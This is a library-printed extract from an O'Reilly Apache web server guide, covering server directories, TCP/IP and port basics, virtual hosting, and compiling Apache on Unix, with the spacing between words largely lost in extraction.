Thisdoublenameisratherannoying,butitseemsthatlifehasprogressedtoofarforanythingtobedoneaboutit.Wewill,ratherclumsily,refertohttpd/apacheandhopethatthe
readercanpicktherightone.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page4
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
htdocs
ContainstheHTMLscriptstobeserveduptothesite'sclients.Thisdirectoryandthosebelowit,thewebspace,areaccessibletoanyoneontheWebandtherefore
poseaseveresecurityriskifusedforanythingotherthanpublicdata.
logs
Containsthelogdata,bothofaccessesanderrors.
cgibin
ContainstheCGIscripts.TheseareprogramsorshellscriptswrittenbyorforthewebmasterthatcanbeexecutedbyApacheonbehalfofitsclients.Itismost
important,forsecurityreasons,thatthisdirectorynotbeinthewebspace.
Initsidlingstate,ApachedoesnothingbutlistentotheIPaddressesandTCPportorportsspecifiedinitsConfigfile.Whenarequestappearsonavalidport,
ApachereceivestheHTTPrequestandanalyzestheheaders.ItthenappliestherulesitfindsintheConfigfileandtakestheappropriateaction.
Thewebmaster'smaincontroloverApacheisthroughtheConfigfile.Thewebmasterhassome150directivesathisorherdisposalmostofthisbookisanaccount
ofwhatthesedirectivesdoandhowtousethemtoreasonableadvantage.ThewebmasteralsohashalfadozenflagsheorshecanusewhenApachestartsup.
Apacheisfreeware:theintendinguserdownloadsthesourcecodeandcompilesit(underUnix)ordownloadstheexecutable(forWindows)fromwww.apache.org
orasuitablemirrorsite.YoucanalsoloadthesourcecodefromthedemonstrationCDROMincludedwiththisbook,althoughitisnotthemostrecent.Althoughit
soundslikeadifficultbusinesstodownloadthesourcecodeandconfigureandcompileit,itonlytakesabout20minutesandiswellworththetrouble.
UnderUnix,thewebmasteralsocontrolswhichmodulesarecompiledinto
Apache.Eachmoduleprovidesthecodetoexecuteanumberofdirectives.If
thereisagroupofdirectivesthataren'tneeded,theappropriatemodulescanbe
leftoutofthebinarybycommentingtheirnamesoutintheconfigurationfile
thatcontrolsthecompilationoftheApachesources.Discardingunwanted
modulesreducesthesizeofthebinaryandmayimproveperformance.
UnderWindows,Apacheisnormallyprecompiledasanexecutable.Thecore
modulesarecompiledin,andothersareloaded,ifneeded,asdynamiclinklibrar
ItisimportanttodistinguishbetweentheconfigurationfileusedatcompiletimeandtheConfigfileusedtocontroltheoperationofawebsite.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page5
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ies(DLLs)atruntime,socontroloftheexecutable'ssizeislessurgent.TheDLLssuppliedinthe/apache/modulessubdirectoryareas
follows:
APACHE~1DLL
APACHE~2DLL
APACHE~3DLL
APACHE~4DLL
APACHE~5DLL
APACHE~6DLL
APACHE~7DLL
APACHE~8DLL
APACHE~9DLL
APACH~10DLL
5,120
5,632
6,656
6,144
5,120
46,080
35,328
6,656
10,752
6,144
19/07/98
19/07/98
19/07/98
19/07/98
19/07/98
19/07/98
19/07/98
19/07/98
19/07/98
19/07/98
11:47ApacheModuleAuthAnon.dll
11:48ApacheModuleCERNMeta.dll
11:47ApacheMduleDigest.dll
11:48ApacheModuleExpires.dll
11:48ApacheModuleHeaders.dll
11:48Apachemoduleproxy.dll
11:48ApachemoduleRewrite.dll
11:48ApacheModuleSpeling.dll
11:47ApacheModuleStatus.dll
11:48ApacheModuleUserTrack.dll
Whattheseareandwhattheydowillbecomemoreapparentasweproceed.YoucanaddotherDLLsfromoutsidesuppliersmorewill
doubtlessbecomeavailable.
ItisalsopossibletodownloadthesourcecodeandcompileitforWin32usingMicrosoftVisualC++v5.0.Wedescribethisin''"Apache
UnderWindows,"laterinthischapter.Youmightdothisifyouwantedtowriteyourownmodule(seeChapter15,WritingApache
Modules).
WhattoKnowAboutTCP/IP
Tounderstandthesubstanceofthisbook,youneedamodestknowledgeofwhatTCP/IPisandwhatitdoes.You'llfindmorethanenoughinformationinCraigHunt
andRobertBruceThompson'sbooksonTCP/IP, butwhatfollowsis,wethink,whatisnecessarytoknowforourbook'spurposes.
TCP/IP(TransmissionControlProtocol/InternetProtocol)isasetofprotocolsenablingcomputerstotalktoeachotherovernetworks.Thetwoprotocolsthatgive
thesuiteitsnameareamongthemostimportant,buttherearemanyothers,andweshallmeetsomeofthemlater.Theseprotocolsareembodiedinprogramsonyour
computerwrittenbysomeoneorotheritdoesn'tmuchmatterwho.TCP/IPseemsunusualamongcomputerstandardsinthattheprogramsthatimplementitactually
work,andtheirauthorshavenottriedtoomuchtoimproveontheoriginalconceptions.
TCP/IPonlyapplieswherethereisanetwork.EachcomputeronanetworkthatwantstouseTCP/IPhasanIPaddress,forexample,192.168.123.1.
Therearefourpartsintheaddress,separatedbyperiods.Eachpartcorrespondstoabyte,sothewholeaddressisfourbyteslong.Youwill,inconsequence,seldom
seeanyofthepartsoutsidetherange0255.
WindowsNTTCP/IPNetworkAdministration,byCraigHuntandRobertBruceThompson(O'Reilly&Associates),andTCP/IPNetworkAdministration,SecondEdition,by
CraigHunt(O'Reilly&Associates).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page6
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Althoughnotrequiredbyprotocol,byconventionthereisadividinglinesomewhereinsidethisnumber:totheleftisthenetworknumberandtotheright,thehost
number.Twomachinesonthesamephysicalnetworkusuallyalocalareanetwork(LAN)normallyhavethesamenetworknumberandcommunicatedirectly
usingTCP/IP.
Howdoweknowwherethedividinglineisbetweennetworknumberandhostnumber?Thedefaultdividinglineisdeterminedbythefirstofthefournumbers:ifthe
valueofthefirstnumberis:
0127(firstbyteis0xxxxxxxbinary),thedividinglineisafterthefirstnumber,anditisaClassAnetwork.TherearefewclassAnetworks125usableonesbut
eachonesupportsupto16,777,214hosts.
128191(firstbyteis10xxxxxxbinary),thedividinglineisafterthesecondnumber,anditisaClassBnetwork.TherearemoreclassBnetworks16,382and
eachonecansupportupto65,534hosts.
192223(firstbyteis110xxxxxbinary),thedividinglineisafterthethirdnumber,anditisaClassCnetwork.ThereisahugenumberofclassCnetworks
2,097,150buteachonesupportsapaltry254hosts.
Theremainingvaluesofthefirstnumber,224255,arenotrelevanthere.Networknumbersthelefthandpartthatareall0s orall1s inbinaryarereserved
andthereforenotrelevanttouseither.Theseaddressesareasfollows:
0.x.x.x
127.x.x.x
128.0.x.x
191.255.x.x
192.0.0.x
223.255.255.x
ItisoftenpossibletobypasstherulesofClassA,B,andCnetworksusingsubnetmasks.Theseallowustofurthersubdividethenetworkbyusingmoreofthebits
forthenetworknumberandlessforthehostnumber.Theircorrectuseisrathertechnical,soweleaveittotheexperts.
Youdonotneedtoknowthisinformationinordertorunahost,becausethenumbersyoudealwithareassignedtoyoubyyournetworkadministratororare
Anall0networkaddressmeans"thisnetwork."ThisisdefinedinSTD5(RFC791).
Anall1networkaddressmeans"broadcast."ThisisalsodefinedinSTD5(RFC922).Inpractice,broadcastnetworkaddressesarenotveryuseful,and,indeed,someofthese
"reserved"addresseshavealreadybeenusedforotherpurposesforexample,127.0.0.1means"thismachine,"byconvention.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page7
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
justfactsoftheInternet.ButwefeelyoushouldhavesomeunderstandinginordertoavoidsillyconversationswithpeoplewhodoknowaboutTCP/IP.Itisalso
relevanttovirtualhostingbecauseeachvirtualhost(seeChapter3,TowardaRealWebSite)musthaveitsownIPaddress(atleastuntilHTTP/1.1isinwideuse).
NowwecanthinkabouthowtwomachineswithIPaddressesXandYtalktoeachother.IfXandYareonthesamenetwork,andarecorrectlyconfiguredsothat
theyhavethesamenetworknumberanddifferenthostnumbers,theyshouldbeabletofireupTCP/IPandsendpacketstoeachotherdowntheirlocal,physical
networkwithoutanyfurtherado.
Ifthenetworknumbersarenotthesame,TCP/IPsendsthepacketstoarouter,aspecialmachineable,byprocessesthatdonotconcernushere,tofindoutwhere
theothermachineisanddeliverthepacketstoit.ThiscommunicationmaybeovertheInternetormightoccuronyourwideareanetwork(WAN).
TherearetwowayscomputersuseTCP/IPtocommunicate:
UDP(UserDatagramProtocol)
Awaytosendasinglepacketfromonemachinetoanother.Itdoesnotguaranteedelivery,andthereisnoacknowledgmentofreceipt.Itisnastyforourpurposes,
andwedon'tuseit.
TCP(TransmissionControlProtocol)
Awaytoestablishcommunicationsbetweentwocomputers.Itreliablydeliversmessagesofanysize.Thisisabetterprotocolforourpurposes.
HowDoesApacheUseTCP/IP?
Let'slookataserverfromtheoutside.Wehaveaboxinwhichthereisacomputer,software,andaconnectiontotheoutsideworldapieceofEthernetoraserial
linetoamodem,forexample.ThisconnectionisknownasaninterfaceandisknowntotheworldbyitsIPaddress.Iftheboxhadtwointerfaces,theywouldeach
haveanIPaddress,andtheseaddresseswouldnormallybedifferent.Oneinterface,ontheotherhand,mayhavemorethanoneIPaddress(seeChapter3).
Requestsarriveonaninterfaceforanumberofdifferentservicesofferedbytheserverusingdifferentprotocols:
NetworkNewsTransferProtocol(NNTP):news
SimpleMailTransferProtocol(SMTP):mail
DomainNameService(DNS)
HTTP:WorldWideWeb
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page8
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TheservercandecidehowtohandlethesedifferentrequestsbecausethefourbyteIPaddressthatleadstherequesttoitsinterfaceisfollowedbyatwobyteport
number.Differentservicesattachtodifferentports:
NNTP:portnumber119
SMTP:portnumber25
DNS:portnumber53
HTTP:portnumber80
Asthelocaladministratororwebmaster,youcan(ifyoureallywant)decidetoattachanyservicetoanyport.Ofcourse,ifyoudecidetostepoutsideconvention,you
needtomakesurethatyourclientsshareyourthinking.OurconcernhereisjustwithWWWandApacheApache,bydefault,listenstoportnumber80becauseit
dealsinWWWbusiness.
Portnumbersbelow1024canonlybeusedbythesuperuser(root,underUnix)
thispreventsotherusersfromrunningprogramsmasqueradingasstandard
services,butbringsitsownproblems,asweshallsee.
UnderWin32thereiscurrentlynorealsecuritybeyondwhatyoucanprovide
yourself(usingfilepermissions)andnosuperuser(atleast,notasfarasport
numbersareconcerned).
Thisisfineifourmachineisprovidingonlyonewebservertotheworld.Inreallife,youmaywanttohostseveral,many,dozens,orevenhundredsofservers,which
appeartotheworldtobecompletelydifferentfromeachother.ThissituationwasnotanticipatedbytheauthorsofHTTP/1.0,sohandlinganumberofhostsonone
machinehastobedonebyakludge,whichistoassignmultipleaddressestothesameinterfaceanddistinguishthevirtualhostbyitsIPaddress.Thistechniqueis
knownasIPintensivevirtualhosting.UsingHTTP/1.1,virtualhostsmaybecreatedbyassigningmultiplenamestothesameIPaddress.ThebrowsersendsaHost
headertosaywhichnameitisusing.
MultipleSites:Unix
Byhappyaccident,thecrucialUnixutilityifconfig,whichbindsIPaddressestophysicalinterfaces,oftenallowsthebindingofmultipleIPnumberssothatpeoplecan
switchfromoneIPnumbertoanotherandmaintainserviceduringthetransition.
Inpracticalterms,onmanyversionsofUnix,werunifconfigtogivemultipleIPaddressestothesameinterface.Theinterfaceinthiscontextisactuallythebitof
softwarethedriverthathandlesthephysicalconnection(Ethernetcard,serial
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page9
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
port,etc.)totheoutside.Whilewritingthisbook,weaccessedthepracticesitesthroughanEthernetconnectionbetweenaWindows95machine(theclient)anda
FreeBSDbox(theserver)runningApache.
Inreallife,wedonothavemuchtodowithIPaddresses.Websites(andInternethostsgenerally)areknownbytheirnames,suchaswww.buttertblies.comor
sales.buttertblies.com,whichweshallmeetlater.Ontheauthors'system,thesenamesbothtranslateinto192.168.123.2.
MultipleSites:Win32
Asfaraswecandiscern,itisnotpossibletoassignmultipleIPaddressestoasingleinterfaceunderastandardWindows95system.OnWindowsNTitcanbedone
viaControlPanel Networks Protocols TCP/IP/Properties IPAddress Advanced.Thismeans,ofcourse,thatIPintensivevirtualhostingisnot
possibleonWindows95.
WhattheClientDoes
Oncetheserverissetup,wecangetdowntobusiness.Theclienthastheeasyend:itwantswebactiononaparticularURLsuchashttp://www.apache.org/.What
happens?
ThebrowserobservesthattheURLstartswithhttp:anddeducesthatitshouldbeusingtheHTTPprotocol.The"//"saysthattheURLisabsolute, thatis,not
relativetosomeotherURL.Thenextpartmustbethenameoftheserver,www.apache.org.Theclientthencontactsanameserver,whichusesDNStoresolvethis
nametoanIPaddress.Atthetimeofwriting,thisaddresswas
Ourenvironmentwasveryuntypical,sincethewholethingsatonadesktopwithnoaccesstotheWeb.TheFreeBSDboxwassetupusingifconfiginascriptlan_setup,which
containedthefollowinglines:
ifconfigepO192.168.123.2
ifconfigepO192.168.123.3aliasnetmask0xFFFFFFF
ifconfigepO192.168.124.1alias
ThefirstlinebindstheIPaddress192.168.123.2tothephysicalinterfaceepO.Thesecondbindsanaliasof192.168.123.3tothesameinterface.Weusedasubnetmask(netmask
0xFFFFFFFF)tosuppressatediouserrormessagegeneratedbytheFreeBSDTCP/IPstack.Thisaddresswasusedtodemonstratevirtualhosts.WealsoboundyetanotherIP
address,192.168.124.1,tothesameinterface,simulatingaremoteserverinordertodemonstrateApache'sproxyserver.Theimportantfeaturetonotehereisthattheaddress
192.168.124.1isonadifferentIPnetworkfromtheaddress192.168.123.2,eventhoughitsharesthesamephysicalnetwork.Nosubnetmaskwasneededinthiscase,astheerror
messageitsuppressedarosefromthefactthat192.168.123.2and192.168.123.3areonthesamenetwork.
Unfortunately,eachUniximplementationtendstodothisslightlydifferently,sothesecommandsmaynotworkonyoursystem.Checkyourmanuals!
&astricRelevantRFCsare1808,RelativeURLs,and1738,URLs.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page10
204.152.144.38.Onewaytocheckthevalidityofahostnameistogototheoperatingsystemprompt andtype:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
>pingc5www.apache.org
or:
%pingc5www.apache.org
IfthathostisconnectedtotheInternet,aresponseisreturned:
PINGwww.apache.org(204.152.144.38):56databytes
64bytesfromtaz.apache.org(204.152.144.38):icmp_seq=0ttl=247time=1380ms
64bytesfromtaz.apache.org(204.152.144.38):icmp_seq=1ttl=247time=1930ms
64bytesfromtaz.apache.org(204.152.144.38):icmp_seq=2ttl=247time=1380ms
64bytesfromtaz.apache.org(204.152.144.38):icmp_seq=3ttl=247time=1230ms
64bytesfromtaz.apache.org(204.152.144.38):icmp_seq=4ttl=247time=1360ms
www.apache.orgpingstatistics
5packetstransmitted,5packetsreceived,0%packetlossroundtripmin/avg/
max=1230/1456/1930ms
Thewebaddresshttp://www.apache.orgdoesn'tincludeaportbecauseitisport80,thedefault,andthebrowsertakesitforgranted.Ifsomeotherportiswanted,
itisincludedintheURLafteracolonforexample,http://www.apache.org:8000/.TheURLalwaysincludesapath,evenifisonly"/".Ifthepathisleftoutbythe
carelessuser,mostbrowsersputitbackin.Ifthepathwere/some/where/foo.htmlonport8000,theURLwouldbe
http://www.apache.org:8000/some/where/foo.html.
TheclientnowmakesaTCPconnectiontoportnumber8000onIP204.152.144.38,andsendsthefollowingmessagedowntheconnection(ifitisusingHTTP/1.0):
GET/some/where/foo.htmlHTTP/1.0<CR><LF><CR><LF>
Thesecarriagereturnsandlinefeeds(CRLF)areveryimportantbecausetheyseparatetheHTMLheaderfromitsbody.IftherequestwereaPOST,therewouldbe
datafollowing.Theserversendstheresponsebackandclosestheconnection.Toseeitinaction,connectagaintotheInternet,getacommandlineprompt,andtype
thefollowing:
%telnetwww.apache.org80
>telnetwww.apache.org80
telnetgenerallyexpectsthehostnamefollowedbytheportnumber.Afterconnection,type:
GET/announcelist.htmlHTTP/1.0<CR><CR>&astric&astric
Theoperatingsystempromptislikelytobe"> "(Win95)or"% "(Unix).Whenwesay,forinstance,"Type% ping,"wemean,"Whenyousee'% ',type'ping'."
&astricNotethatweuseHTTP/1.0ratherthan1.1simplybecauseitiseasierandallknownservers(particularlyApache)stillsupportit.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page11
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SincetelnetalsorequiresCRLFastheendofeveryline,itsendstherightthingforyouwhenyouhittheReturnkey.Someimplementationsoftelnetrather
unnervinglydon'techowhatyoutypetothescreen,soitseemsthatnothingishappening.Nevertheless,awholemessofresponsestreamspast:
GET/announcelist.htmlHTTP/1.0
HTTP/1.1200OK
Date:Sun,15Dec199613:45:40GMT
Server:Apache/1.3
Connection:close
ContentType:text/html
SetCookie:Apache=arachnet784985065755545path=/
<HTML>
<HEAD>
<TITLE>JointheApacheUsersMailingList</TITLE>
</HEAD>
<BODY>
<IMGSRC="images/apache_sub.gif"ALT="">
<H1>JointheApacheAnnounceMailingList</H1>
<P>
The<code>apacheannounce</code>mailinglisthasbeensetuptoinform
peopleofnewcodereleases,bugfixes,securityfixes,andgeneral
newsandinformationabouttheApacheserver.Mostofthis
informationwillalsobepostedtocomp.infosystems.www.servers.unix,
butthisprovidesamoretimelywayofaccessingthatinformation.
Themailinglistisoneway,announcementsonly.
<P>
Tosubscribe,sendamessageto
<code><b>majordomo@apache.org</b></code>withthewords"subscribe
apacheannounce"inthebodyofthemessage.Nope,wedon'thaveaweb
formforthisbecausefranklywedon'ttrustpeopletoputtheright
address.<imgSRC="images/smiley.xbm">
<AHREE="index"><IMGSRC="images/apache_home.gif"ALT="Home"></A>
</BODY><HTML>
Connectionclosedbyforeignhost.
WhatHappensattheServerEnd?
WeassumethattheserveriswellsetupandrunningApache.WhatdoesApachedo?Inthesimplestterms,itgetsaURLfromtheInternet,turnsitintoa
Component,andsendsthefile(oritsoutput) backdowntheInternet.That'sallitdoes,andthat'sallthisbookisabout!
Threemaincasesarise:
TheUnixserverhasastandaloneApachethatlistenstooneormoreports(port
80bydefault)ononeormoreIPaddressesmappedontotheinterfaces
Usually.We'llseelaterthatsomeURLsmayrefertoinformationgeneratedcompletelywithinApache.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page12
ofitsmachine.Inthismode(knownasstandalonemode),Apacheactually
runsseveralcopiesofitselftohandlemultipleconnectionssimultaneously.
TheserverisconfiguredtousetheUnixutilityinetd,whichlistensonall
portsitisconfiguredtohandle.Whenaconnectioncomesin,itdetermines
fromitsconfigurationfile,/etc/inetd.conf,whichservicethatport
correspondstoandrunstheconfiguredprogram,whichcanbeanApachein
inetdmode.Itisworthnothingthatsomeofthemoreadvancedfeaturesof
Apachearenotsupportedinthismode,soitshouldonlybeusedinvery
simplecases.Supportforthismodemaywellberemovedinfuturereleases
ofApache.
OnWindows,thereisasingleprocesswithmultiplethreads.Eachthread
servicesasingleconnection.ThiscurrentlylimitsApacheto64simultaneous
connections,becausethere'sasystemlimitof64objectsforwhichyoucanwait
atonce.Thisissomethingofadisadvantagebecauseabusysitecanhaveseveral
hundredsimultaneousconnections.ItwillprobablybeimprovedinApache2.0.
AllthecasesboildowntoanApachewithanincomingconnection.Rememberourfirststatementinthissection,namely,thattheobjectofthewholeexerciseisto
resolvetheincomingrequestintoaComponent,ascript,orsomedatageneratedinternallyonthefly.ApachethusfirstdetermineswhichIPaddressandportnumber
wereusedbyaskingtheoperatingsystemwheretheconnectionisconnectingto.ApachethenusestheIPaddress,portnumberandtheHostheaderin
HTTP/1.1todecidewhichvirtualhostisthetargetofthisrequest.Thevirtualhostthenlooksatthepath,whichwashandedtoitintherequest,andreadsthat
againstitsconfigurationtodecideontheappropriateresponse,whichitthenreturns.
MostofthisbookisaboutthepossibleappropriateresponsesandhowApachedecideswhichonetouse.
WhichUnix?
WeexperimentedwithSCOUnixandQNX,whichbothsupportApache,beforesettlingonFreeBSDasthebestenvironmentforthisexercise.Thewholeof
FreeBSDisavailablefreefromhttp://www.freebsd.org,butsending$69.95(plusshipping)toWalnutCreek(athttp://www.cdrom.com)getsyoufourCD
ROMswithmoresoftwareonthemthanyoucanshakeastickat,includingallthesourcecode,plusa1750pagemanualthatshouldjustaboutgetyougoing.
WithoutWalnutCreek'smanual,wethinkFreeBSDwouldcostalotmorethan$69.95inspiritualselfimprovement.
IfyouuseFreeBSD,youwillfind(wehope)thatitinstallsfromtheCDROMeasilyenough,butthatitinitiallylacksseveralthingsyouwillneedlater.Among
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page13
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
thesearePerl,Emacs,andsomebettershellthansh(welikebashandksh),soitmightbesensibletoinstallthemstraightawayfromtheirlurkingplacesonthe
CDROM.
LinuxsupportsApache,andmostofthestandarddistributionsincludeit.However,thedefaultpositionoftheConfigfilesmayvaryfromplatformtoplatform,though
usuallyonLinuxtheyaretobefoundin/etc.
WhichApache?
Apache1.3wasreleased,althoughinratherapartialform,inJuly1998.TheUnixversionwasingoodshapetheWin32versionof1.3wasregardedbytheApache
Groupasessentiallybetasoftware.
ThemainproblemwiththeWin32versionofApacheliesinitssecurity,whichmustdepend,inturn,onthesecurityoftheunderlyingoperatingsystem.Unfortunately,
Win95anditssuccessorshavenoeffectivesecurityworthmentioning.WindowsNThasalargenumberofsecurityfeatures,buttheyarepoorlydocumented,hardto
understand,andhavenotbeensubjectedtothedecadesofdiscussion,testing,andhackingthathaveforgedUnixsecurityintoafortressthatcanprettywellberelied
upon.
IntheviewoftheApachedevelopmentgroup,theWin32versionisusefulforeasytestingofaproposedwebsite.Butifmoneyisinvolved,youwouldbefoolishnot
totransferthesitetoUnixbeforeexposuretothepublicandtheBadGuys.
WesuggestthatifyouareworkingunderUnixyougoforVersion1.3.1orlaterifunderWin32,goforthelatestbetareleaseandexpecttoridesomebumps.
MakingApacheUnderUnix
DownloadthemostrecentApachesourcecodefromasuitablemirrorsite:alistcanbefoundathttp://www.apache.org/. Youcanalsoloadanolderversionfrom
theenclosedCDROM.Youwillgetacompressedfile,withtheextension.gzifithasbeengzipped,or.Zifithasbeencompressed.MostUnixsoftwareavailableon
theWeb(includingtheApachesourcecode)iscompressedusinggzip,aGNUcompressiontool.Ifyoudon'thaveacopy,youwillfindoneonourCD,oryoucan
getitfromtheWeb.
Whenexpanded,theApache.tarfilecreatesatreeofsubdirectories.Eachnewreleasedoesthesame,soyouneedtocreateadirectoryonyourFreeBSD
Itisbesttodownloadit,soyougetthelatestversionwithallitsbugfixesandsecuritypatches.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page14
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
machinewhereallthiscanlivesensibly.Weputalloursourcedirectoriesin/usr/local/etc/apache.Gothere,copythe<apachename>.tar.gzor
<apachename>.tar.Zfile,anduncompressthe.Zversionorgunzip(orgzipd)the.gzversion:
uncompress<apachename>.tar.z
or:
gzipd<apachename..tar.gz
Makesurethattheresultingfileiscalled<apachename>.tar,ortarmayturnupitsnose.Ifnot,type:
mv<apachename><apachename>.tar
Nowunpackit:
%tarxvf<apachename>.tar
Thefilewillmakeitselfasubdirectory,suchasapache_1.3.1.Keepthe.tarfilebecauseyouwillneedtostartfreshtomaketheSSLversion.Getintothe.src
directory.Thereareanumberoffileswithnamesincapitalletters,likeREADME,thatlookasifyououghttoreadthem.TheKEYSfilecontainsthePGPkeysof
variousApacheGroupmembers.ItismoreusefulforcheckingfuturedownloadsofApachethanthecurrentone(sinceaBadGuywillobviouslyhavereplacedthe
KEYSfilewithhisown).ThedistributionmayhavebeensignedbyoneormoreApacheGroupmembers.
OutoftheBox
UntilApache1.3,therewasnorealoutoftheboxbatchcapablebuildandinstallationprocedureforthecompleteApachepackage.Thisisnowprovidedbyatop
levelconfigurescriptandacorrespondingtoplevelMakefile.tmplfile.ThegoalistoprovideaGNUAutoconfstylefrontendthatiscapableofdrivingtheold
src/ConfigurestuffinbatchandthatadditionallyinstallsthepackagewithaGNUconformingdirectorylayout. Anyoptionsfromtheoldconfigurationschemeare
available,plusalotofnewoptionsforflexiblycustomizingApache.Torunit,simplytype:
./configure
cdsrc
make
Ithastobesaidthatifwehadreadtheapache/INSTALLfilefirst,wewouldnothavetried,becauseitgivesanunjustifiedimpressionofthecomplexityinvolved.
IfyouareusingGNUtar,itispossibletouncompressandunpackinonestep:tarzxvf<apachename>.tar.gz.
Atleast,somesayitisconforming.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page15
However,INSTALLdoesconcealatleastoneusefultrick:becausealmosteverythingcanbespecifiedonthecommandline,youcancreateashellscriptthat
configuresyourfavoriteflavorofApache,andyouneverhavetoeditConfigurationagain.IfyouhavetomakealotofdifferentversionsofApache,thismethodhas
itsadvantages.However,theresult,forsomereason,producesanhttpdthatexpectsallthedefaultdirectoriestobedifferentfromthosedescribedinthisbookfor
instance,/usr/local/apache/etc/httpd.confinsteadof/usr/local/apache/conf/httpd.conf.Untilthisisfixed,wewouldsuggestrunning:
./configurecompat
orrelyingonthemethodinthenextsection.
SemimanualMethod
StartoffbyreadingREADMEinthetopdirectory.ThistellsyouhowtocompileApache.Thefirstthingitwantsyoutodoistogotothesrcsubdirectoryandread
INSTALL.TogofurtheryoumusthaveanANSICcompliantcompiler.AC++compilermaynotwork.
Ifyouhavedownloadedabetatestversion,youfirsthavetocopy/src/Configuration.tmpltoConfiguration.WethenhavetoeditConfigurationtosetthings
upproperly.ThewholefileisinAppendixAoftheinstallationkit.AscriptcalledConfigurethenusesConfigurationandMakefile.tmpltocreateyouroperational
Makefile.(Don'tattackMakefiledirectlyanyeditingyoudowillbelostassoonasyourunConfigureagain.)
ItisusuallyonlynecessarytoedittheConfigurationfiletoselectthemodulesrequired(seethenextsection).Alternatively,youcanspecifythemonthecommand
line.ThefilewillthenautomaticallyidentifytheversionofUnix,thecompilertobeused,thecompilerflags,andsoforth.ItcertainlyallworkedforusunderFreeBSD
withoutanytroubleatall.
Configurationhasfivekindsofthingsinit:
Commentlinesstartingwith''#"
RulesstartingwiththewordRule
CommandstobeinsertedintoMakefile,startingwithnothing
ModuleselectionlinesbeginningwithAddModule,whichspecifythemodulesyouwantcompiledandenabled
Optionalmoduleselectionlinesbeginningwith%Module,whichspecifymodulesthatyouwantcompiledbutnotenableduntilyouissuetheappropriatedirective
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page16
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Forthemoment,wewillonlybereadingthecommentsandoccasionallyturningacommentintoacommandbyremovingtheleading#,orviceversa.Mostcomments
areinfrontofoptionalmoduleinclusionlines.
Modules
ThesemodulesareselfcontainedsectionsofsourcecodedealingwithvariousfunctionsofApachethatcanbecompiledinorleftout.Youcanalsowriteyourown
moduleifyouwant.Inclusionofmodulesisdonebyuncommenting(removingtheleading#)linesinConfiguration.Theonlydrawbacktoincludingmoremodulesis
anincreaseinthesizeofyourbinaryandanimperceptibledegradationinperformance.
